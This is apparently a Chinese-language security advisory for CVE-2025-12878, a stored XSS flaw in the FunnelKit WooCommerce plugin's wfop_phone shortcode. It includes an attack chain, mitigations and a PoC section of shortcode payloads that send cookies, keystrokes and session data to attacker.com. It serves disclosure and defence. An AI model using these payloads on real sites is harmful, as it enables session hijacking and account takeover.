IPBUF安全漏洞报告
English
CVE-2025-12878 CVSS 6.4 中危

CVE-2025-12878 FunnelKit WooCommerce插件Stored XSS漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-12878
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FunnelKit – Funnel Builder for WooCommerce Checkout

相关标签

存储型XSSWordPress插件漏洞FunnelKitWooCommerce短代码注入CVE-2025-12878CVSS 6.4中危漏洞权限提升会话劫持

漏洞概述

FunnelKit是WordPress平台上广受欢迎的WooCommerce转化漏斗构建插件,帮助商家创建优化的结账流程和销售漏斗。该插件在WordPress官方插件目录中拥有数十万安装量。然而,在3.13.1.2及之前版本中,插件的`wfop_phone`短代码存在严重的存储型跨站脚本漏洞。由于插件对用户提供的`default`属性参数缺乏充分的输入清理和输出转义,攻击者可以利用此漏洞在页面中注入恶意JavaScript代码。由于该代码会被存储在数据库中,所有访问含恶意代码页面的用户都会执行这些脚本,可能导致会话劫持、敏感信息窃取、管理后台被接管等严重后果。攻击者只需拥有Contributor级别的最低权限即可实施攻击,这大大降低了漏洞利用门槛。

技术细节

漏洞根源位于插件的merge-tags处理模块中,特别是`class-bwf-optin-tags.php`文件的多个行号(30、96、101、116)。该文件负责处理`wfop_phone`短代码的渲染逻辑。在处理`default`属性时,代码直接使用了用户输入而未进行适当的HTML转义。具体来说,当用户在短代码中传入类似`default="><script>alert(document.cookie)</script>`的值时,这些恶意代码会被直接嵌入到HTML输出中。由于WordPress的短代码解析机制会在页面加载时自动执行这些短代码,注入的脚本会被永久保存在数据库中,形成存储型XSS攻击向量。攻击者可以通过创建或编辑包含恶意短代码的文章/页面来触发漏洞。受影响的页面在用户访问时会自动执行注入的JavaScript,攻击者可借此窃取用户Cookie、伪造表单提交或进行钓鱼攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者获取WordPress站点信息,确认安装了FunnelKit插件且版本≤3.13.1.2
STEP 2
2. 权限获取
攻击者通过社会工程、密码喷洒或漏洞利用获取WordPress Contributor级别账户
STEP 3
3. 恶意代码注入
攻击者在文章或页面中插入包含恶意payload的wfop_phone短代码,如:[wfop_phone default='"><script>alert(document.cookie)</script>']
STEP 4
4. 代码持久化
含有恶意代码的内容被保存到数据库,形成存储型XSS
STEP 5
5. 受害者触发
管理员或其他用户访问包含恶意代码的页面,触发自动执行的JavaScript
STEP 6
6. 恶意行为执行
注入的JavaScript执行,可窃取Cookie、会话令牌或执行其他恶意操作
STEP 7
7. 账户接管
攻击者利用窃取的凭证登录后台,可能进一步获取服务器访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for CVE-2025-12878 --> <!-- Inject via wfop_phone shortcode default attribute --> <!-- Basic XSS PoC --> [wfop_phone default='"><script>alert('XSS')</script>'] <!-- Cookie Stealing PoC --> [wfop_phone default='"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>'] <!-- Keylogger PoC --> [wfop_phone default='"><script>document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}</script>'] <!-- Session Hijacking PoC --> [wfop_phone default='"><img src=x onerror='fetch("https://attacker.com/hijack?session="+btoa(document.cookie))'>']

影响范围

FunnelKit Funnel Builder for WooCommerce Checkout ≤ 3.13.1.2

防御指南

临时缓解措施
在无法立即升级的情况下,可通过以下措施临时缓解:1) 限制Contributor角色的内容发布权限;2) 使用WordPress安全插件禁用未授权用户使用短代码;3) 在WAF中添加针对短代码属性的过滤规则;4) 暂时禁用或替换wfop_phone短代码功能;5) 加强用户注册和认证机制,防止低权限账户被恶意获取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表